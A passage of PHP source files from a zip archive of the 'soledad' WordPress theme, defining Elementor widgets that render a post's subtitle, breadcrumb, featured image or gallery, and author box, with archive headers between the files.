			'label'     => 'Use Inline Background Color?',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .penci-psub-title' => 'background-color:var(--pcaccent-cl);display:inline;box-decoration-break: clone;padding: 3px 8px;',
			],
		] );

		$this->add_control( 'main-text-inlinecolor', [
			'label'     => 'Inline Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'background-color:{{VALUE}}' ],
			'condition' => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->add_control( 'main-text-inline-d', [
			'label'      => 'Inline Background Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px' ],
			'selectors'  => [
				'{{WRAPPER}} .penci-psub-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			],
			'condition'  => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings    = $this->get_settings();
		$heading_tag = $settings['heading_markup'];
		$class       = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		echo '<' . $heading_tag . ' class="penci-psub-title' . $class . '"><span>Sub Title Heading of The Post</span></' . $heading_tag . '>';
	}

	protected function builder_content() {
		$settings    = $this->get_settings();
		$heading_tag = $settings['heading_markup'];
		$class       = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		$sub_title   = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
		if ( $sub_title ) {
			echo '<' . $heading_tag . ' class="penci-psub-title' . $class . '"><span>' . $sub_title . '</span></' . $heading_tag . '>';
		}
	}
}
PK     2w\cA    /  template-builder/single-elements/breadcrumb.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleBreadcrumb extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Breadcrumb', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-navigation-horizontal';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'breadcrumb' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-brcrb elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-breadcrumb';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'breadcrumb_align', [
			'label'     => __( 'Breadcrumb Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'enable_pri_cat_yoast_seo', [
			'label' => 'Show Only Primary Category from "Yoast SEO" or "Rank Math" plugin for Breadcrumb',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'breadcrumb-typo',
			'label'    => __( 'Typography for BreadCrumb', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb *',
		) );

		$this->add_control( 'breadcrumb-t-color', [
			'label'     => 'BreadCrumb Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb span,{{WRAPPER}} .penci-breadcrumb a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-l-hcolor', [
			'label'     => 'BreadCrumb Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb a:hover' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-spacing', [
			'label'     => 'BreadCrumb Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => [ '{{WRAPPER}} .container.penci-breadcrumb i,{{WRAPPER}} .container.penci-breadcrumb span.separator' => 'margin-left:{{SIZE}}px;margin-right:calc({{SIZE}}px - 4px)' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb single-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-breadcrumb single-breadcrumb">
                    <span><a class="crumb"
                             href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
					$primary_term = penci_get_wpseo_primary_term();

					if ( $primary_term ) {
						echo $primary_term;
					} else {
						$penci_cats = get_the_category( get_the_ID() );
						$penci_cat  = array_shift( $penci_cats );
						echo penci_get_category_parents( $penci_cat );
					}
				} else {
					$penci_cats = get_the_category( get_the_ID() );
					$penci_cat  = array_shift( $penci_cats );
					echo penci_get_category_parents( $penci_cat );
				}
				?>
                <span><?php the_title(); ?></span>
            </div>
		<?php }
	}
}
PK     2w\΄?  ?  -  template-builder/single-elements/featured.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleFeatured extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Featured Image', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image-rollover';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'featured' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-ft elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-featured';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_single_custom_thumbnail_size', array(
			'label'   => __( 'Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'penci_single_custom_thumbnail_msize', array(
			'label'   => __( 'Image Size for Mobile', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'penci_disable_autoplay_single_slider', array(
			'label'       => __( 'Disable Autoplay on Slider', 'soledad' ),
			'description' => __( 'For gallery post format', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SWITCHER,
			'default'     => '',
		) );

		$this->add_control( 'penci_post_gallery_caption', array(
			'label'   => __( 'Show Image Caption', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SWITCHER,
			'default' => '',
		) );

		$this->add_control( 'penci_disable_lightbox_single', array(
			'label'   => __( 'Disable Image Lightbox', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SWITCHER,
			'default' => '',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'style_section', [
			'label'     => esc_html__( 'Caption Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_post_gallery_caption' => 'yes' ]
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'caption_typo',
			'label'    => __( 'Typography for Caption Text', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-single-gallery-captions',
		) );

		$this->add_control( 'caption_color', array(
			'label'     => __( 'Caption Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'color:{{VALUE}}' ]
		) );

		$this->add_control( 'caption_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'background-color:{{VALUE}}' ]
		) );

		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		?>
        <div class="standard-post-special post-image">
            <img src="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1200&h=800'; ?>"
                 alt="">
        </div>
		<?php
	}

	protected function builder_content() {
		$settings       = $this->get_settings();
		$simage_df_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		$simage_size    = $settings['penci_single_custom_thumbnail_size'] ? $settings['penci_single_custom_thumbnail_size'] : $simage_df_size;
		if ( penci_is_mobile() ) {
			$simage_size = $settings['penci_single_custom_thumbnail_msize'] ? $settings['penci_single_custom_thumbnail_msize'] : 'penci-masonry-thumb';
		}
		if ( has_post_thumbnail() ) {
			$thumb_id         = get_post_thumbnail_id( get_the_ID() );
			$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
			$thumb_title_html = penci_get_image_title( $thumb_id );

			$image_width  = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'w', false );
			$image_height = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'h', false );
		}
		if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-special post-image<?php if ( penci_get_post_format( 'quote' ) ): ?> penci-special-format-quote<?php endif; ?><?php if ( ! has_post_thumbnail() ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
                    <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
						echo ' penci-format-quote';
					} else {
						echo ' penci-format-link';
					} ?>">
                        <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                        <p class="dt-special">
							<?php
							if ( penci_get_post_format( 'quote' ) ) {
								$dt_content = get_post_meta( get_the_id(), '_format_quote_source_name', true );
								if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
							} else {
								$dt_content = get_post_meta( get_the_id(), '_format_link_url', true );
								if ( ! empty( $dt_content ) ):
									echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
								endif;
							}
							?>
                        </p>
						<?php
						if ( penci_get_post_format( 'quote' ) ):
							$quote_author = get_post_meta( get_the_id(), '_format_quote_source_url', true );
							if ( ! empty( $quote_author ) ):
								echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
							endif;
						endif; ?>
                    </div>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( get_the_id(), '_format_gallery_images', true ); ?>

			<?php if ( $images ) :
				$autoplay = ! $settings['penci_disable_autoplay_single_slider'] ? 'true' : 'false';
				?>
                <div class="post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                            <div class="swiper-slide swiper-mark-item">

								<?php $the_image = wp_get_attachment_image_src( $image, $simage_size ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image );
								$image_alt         = penci_get_image_alt( $image, get_the_ID() );
								$image_title_html  = penci_get_image_title( $image );
								?>
                                <figure class="item-link-relative penci-swiper-mask">
									<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
										<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                        <img class="penci-lazy"
                                             src="<?php echo penci_holder_image_base( $the_image[1], $the_image[2] ); ?>"
                                             width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                             data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
									<?php } else { ?>
                                        <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                             width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
									<?php } ?>
									<?php if ( $settings['penci_post_gallery_caption'] && $the_caption ): ?>
                                        <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
									<?php endif; ?>
                                </figure>
                            </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) :
			$penci_video = get_post_meta( get_the_id(), '_format_video_embed', true );
			$type_video = self::get_type_video( $penci_video );
			?>

            <div class="post-image penci-video-format-<?php echo esc_attr( $type_video ); ?>">
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image post-image audio<?php if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php $penci_audio = get_post_meta( get_the_id(), '_format_audio_embed', true );
					$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>

                <div class="post-image">
					<?php
					if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
						$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( get_the_id() ) );
						echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
						?>
						<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                            <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                                 width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                                 src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                                 alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                 data-sizes="<?php echo penci_image_datasize( $simage_size, 'penci-masonry-thumb' ); ?>"
                                 data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $simage_size, 'penci-masonry-thumb' ); ?>"
                                 data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
						<?php } else { ?>
							<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
						<?php } ?>
						<?php
						echo '</a>';
					} else {
						?>
						<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                            <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                                 width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                                 src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                                 alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                 data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
						<?php } else { ?>
							<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
						<?php } ?>
						<?php
					}
					if ( get_the_post_thumbnail_caption() && $settings['penci_post_gallery_caption'] ) {
						echo '<div class="penci-featured-caption">' . get_the_post_thumbnail_caption() . '</div>';
					}
					?>
                </div>

			<?php endif; ?>

		<?php endif;
	}

	public static function get_type_video( $video_embed ) {
		if ( ! $video_embed ) {
			return '';
		}

		$video_embed = strtolower( $video_embed );
		if ( false !== strpos( $video_embed, 'vimeo.com' ) ) {
			return 'vimeo';
		}

		if ( false !== strpos( $video_embed, 'youtu.be' ) ||
		     false !== strpos( $video_embed, 'youtube-nocookie.com' ) ||
		     false !== strpos( $video_embed, 'youtube.com' ) ) {
			return 'youtube';
		}

		preg_match( '#^(http|https)://.+\.(mp4|m4v|webm|ogv|wmv|flv)$#i', $video_embed, $matches );
		if ( ! empty( $matches[0] ) ) {
			return 'selfhosted';
		}

		return '';
	}
}
PK     2w\I%-  -  +  template-builder/single-elements/author.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleAuthor extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Author', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-user-circle-o';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'author' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-athor elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-author';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_authorbio_style', [
			'label'   => esc_html__( 'Author Box Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => [
				'style-1' => 'Default',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
			]
		] );

		$this->add_control( 'penci_bioimg_style', [
			'label'   => esc_html__( 'Author Box Image Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'round',
			'options' => [
				'round'  => 'Round',
				'square' => 'Square',
				'sround' => 'Round Borders',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'avata_img', [
			'label' => esc_html__( 'Avatar Image', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );
		$this->add_responsive_control( 'penci_author_ava_size', [
			'label'     => 'Author Image Size',
			'default'   => [
				'unit' => 'px',
				'size' => 100,
			],
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => [
				'{{WRAPPER}} .post-author.abio-style-1 .author-content,{{WRAPPER}} .post-author.abio-style-2 .author-content' => 'margin-left:calc({{SIZE}}px + 20px)',
				'body.rtl {{WRAPPER}} .post-author.abio-style-1 .author-content,body.rtl {{WRAPPER}} .post-author.abio-style-2 .author-content' => 'margin-left:0;margin-right:calc({{SIZE}}px + 20px)',
				'{{WRAPPER}} .post-author .author-img'                                                                        => 'width:{{SIZE}}px;max-width:100%;',
				'{{WRAPPER}} .post-author.abio-style-3 .author-img,{{WRAPPER}} .post-author.abio-style-4 .author-img'         => 'margin-right:auto;margin-left:auto;width:{{SIZE}}px;',
				'{{WRAPPER}} .post-author .author-img img'                                                                    => 'width:100%;height:auto;',
				'{{WRAPPER}} .abio-style-4'                                                                                   => 'margin-top:calc({{SIZE}}px/2);',
				'{{WRAPPER}} .abio-style-4 .author-img'                                                                       => 'margin-top:calc({{SIZE}}px/2 * -1 - 20px);',
			],
		] );
		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'author_bg_color', [
			'label'     => 'Author Box Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-author' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_bd_color', [
			'label'     => 'Author Box Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-author' => 'border:1px solid {{VALUE}}' ],
		] );

		$this->add_control( 'author_abd_color', [
			'label'     => 'Author Image Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .abio-style-3 .author-img img, {{WRAPPER}} .abio-style-4 .author-img img' => 'border-color: {{VALUE}};box-shadow:0px 1px 2px 0px {{VALUE}}' ],
			'condition' => [ 'penci_authorbio_style' => [ 'style-3', 'style-4' ] ]
		] );

		$this->add_control( 'author_bw_color', [
			'label'      => 'Author Box Borders Width',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px', 'em', '%' ],
			'selectors'  => [
				'{{WRAPPER}} .post-author' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
			],
		] );

		$this->add_control( 'author_bd_style', [
			'label'     => 'Author Box Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				''       => esc_html__( 'Default', 'soledad' ),
				'solid'  => esc_html__( 'Solid', 'soledad' ),
				'dashed' => esc_html__( 'Dashed', 'soledad' ),
				'dotted' => esc_html__( 'Dotted', 'soledad' ),
			],
			'selectors' => [
				'{{WRAPPER}} .post-author' => 'border-style: {{VALUE}}',
			],
		] );

		$this->add_control( 'author_pd', [
			'label'      => 'Author Box Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px', 'em', '%' ],
			'selectors'  => [
				'{{WRAPPER}} .post-author' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
			],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'author_name_typo',
			'label'    => __( 'Typography for Author Name', 'soledad' ),
			'selector' => '{{WRAPPER}} .author-content > h5',
		) );

		$this->add_control( 'author_name_color', [
			'label'     => 'Author Name Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > h5, {{WRAPPER}} .author-content > h5 a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_name_hcolor', [
			'label'     => 'Author Name Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > h5 a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'author_desc_typo',
			'label'    => __( 'Typography for Author Description', 'soledad' ),
			'selector' => '{{WRAPPER}} .author-content > p',
		) );

		$this->add_control( 'author_desc_color', [
			'label'     => 'Author Description Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > p' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_desc_lcolor', [
			'label'     => 'Author Description Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > p a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_desc_hcolor', [
			'label'     => 'Author Description Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-content > p a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_social_lcolor', [
			'label'     => 'Author Social Icons Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .bio-social a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'author_social_hcolor', [
			'label'     => 'Author Social Icons Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .bio-social a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings  = $this->get_settings();
		$classes   = 'post-author';
		$bio_style = $settings['penci_authorbio_style'] ? $settings['penci_authorbio_style'] : 'style-1';
		$bio_img   = $settings['penci_bioimg_style'] ? $settings['penci_bioimg_style'] : 'round';
		$classes   .= ' abio-' . $bio_style;
		$classes   .= ' bioimg-' . $bio_img;
		$ava_size  = isset( $settings['penci_author_ava_size']['size'] ) ? $settings['penci_author_ava_size']['size'] : 100;
		?>
        <div class="<?php echo $classes; ?>">
            <div class="author-img">
				<?php echo get_avatar( get_the_author_meta( 'ID' ), $ava_size ); ?>
            </div>
            <div class="author-content">
                <h5>The Author Name</h5>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Cupiditate dolores et ex fugiat, laboriosam
                    magni, nam nihil officiis perferendis quam quidem saepe voluptatem. Debitis dignissimos fugit
                    inventore neque, repudiandae soluta.</p>
                <div class="bio-social">
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
                    <a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
                                                                  href="#"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
